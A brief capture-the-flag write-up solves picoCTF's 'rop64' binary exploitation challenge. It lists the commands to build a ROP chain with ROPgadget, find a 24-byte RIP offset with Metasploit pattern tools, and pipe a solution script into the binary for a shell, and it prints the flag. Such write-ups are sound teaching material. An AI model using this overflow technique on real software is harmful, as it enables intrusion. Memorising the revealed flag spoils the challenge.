rop64
Binary Exploitation - Points: 400
Time for the classic ROP in 64-bit. Can you exploit this program to get a flag?
Use ROPgadget to find a ROP chain that spawns a shell.
$ ROPgadget --binary vuln --ropchain
Find the offset where the overflowing buffer writes to the RIP. Create a pattern and use it in gdb to find the address where the SEGFAULT occurs.
$ /opt/metasploit/tools/exploit/pattern_create.rb --length 1024
$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x6241396141386141
[*] Exact match at offset 24
Execute the ROP chain from ROPgadget with the correct padding of 24 to get a shell that lets you cat flag.txt.
$ (python2 sol.py; cat) | ./vuln
flag: picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_d4b7a298}